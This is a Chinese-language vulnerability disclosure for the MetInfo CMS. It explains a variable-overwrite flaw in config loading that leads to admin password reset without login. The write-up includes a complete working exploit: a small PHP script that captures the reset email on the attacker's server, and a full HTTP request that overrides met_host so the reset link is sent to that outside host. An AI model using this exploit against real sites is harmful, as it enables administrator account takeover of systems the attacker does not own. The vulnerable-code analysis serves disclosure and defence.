酷应用

MetInfo 管理员密码重置

技术作者：HackerEye 2018-08-24 09:09:40

发布时间：2016-08-25
公开时间：N/A
漏洞类型：变量覆盖
危害等级：高
漏洞编号：xianzhi-2016-08-41454550
测试版本：N/A

漏洞详情

config/config.inc.php

$query = "SELECT  FROM $metconfig WHERE lang='$lang' or";
$result = $db->query($query);
while($list_config= $db->fetch_array($result)){
    $_M[config][$list_config['name']]=$list_config['value'];
    if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", '&#39;',$list_config['value']));
    $settings_arr[]=$list_config;
    if($list_config['columnid']){
        $settings[$list_config['name'].''.$listconfig['columnid']]=$list_config['value'];
    }else{
        $settings[$list_config['name']]=$list_config['value'];
    }
    if($list_config['flashid']){
        $list_config['value']=explode('|',$list_config['value']);
        $falshval['type']=$list_config['value'][0];
        $falshval['x']=$list_config['value'][1];
        $falshval['y']=$list_config['value'][2];
        $falshval['imgtype']=$list_config['value'][3];
        $list_config['mobile_value']=explode('|',$list_config['mobile_value']);
        $falshval['wap_type']=$list_config['mobile_value'][0];
        $falshval['wap_y']=$list_config['mobile_value'][1];
        $met_flasharray[$list_config['flashid']]=$falshval;
    }
}
$_M[lang]=$lang;
@extract($settings)

从数据库中取出系统配置信息，然后用extract()函数初始化各个变量 admin/include/common.inc.php

require_once ROOTPATH.'config/config.inc.php';
………………
isset($_REQUEST['GLOBALS']) && exit('Access Error');
unset($_POST['met_webkeys']);
unset($_GET['met_webkeys']);
unset($_POST['metinfo_admin_name']);
unset($_GET['metinfo_admin_name']);
unset($_GET['met_cookie']);
unset($_COOKIE['met_cookie']);
unset($_POST['met_cookie']);
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
}

先引用了config.inc.php 然后做了一次伪全局的注册等于所有被config.inc.php初始化的配置都可以被任意覆盖了 800多个配置项哪个进了sql 哪个进了关键逻辑哪个进了命令执行都不好说实在是太多了没有一个一个变量跟进去看逻辑找了个后台不用登录就能访问的文件 admin/admin/getpassword.php 行144

$sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);
if($sendMail==0){
   require_once ROOTPATH.'include/export.func.php';
   $post=array('to'=>$to,'title'=>$title,'body'=>$body);
   $met_file='/passwordmail.php';
   $sendMail=curl_post($post,30);
   if($sendMail=='nohost')$sendMail=0;    
}

当jmailsend失败的时候就会使用curl_post函数来发送 include/export.func.php

function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
    if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
        $curlHandle=curl_init(); 
        curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);&nbsp;
        curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
        curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
        curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
        curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
        curl_setopt($curlHandle,CURLOPT_POST, 1);    
        curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
        $result=curl_exec($curlHandle); 
        curl_close($curlHandle); 
    }

$met_host其实是metinfo的api接口地址保存在数据库met_config表中所以只要修改met_host为可控的地址就能直接拦下修改密码的验证邮件证明如下先写个收信脚本passwordmail.php 丢到自己服务器上web根目录

<?php
file_put_contents('x.txt',$_POST['body']);

然后发包

Host: www.xxxxx.net.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: recordurl=%2Chttp%253A%252F%252Fwww.xxxxx.net.cn%252F
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

action=next2&abt_type=2&admin_mobile=admin&submit=1&met_host=123.456.789.000

met_host=改成自己的服务器地址查看自己服务器web跟目录下的x.txt就能找到重置密码的链接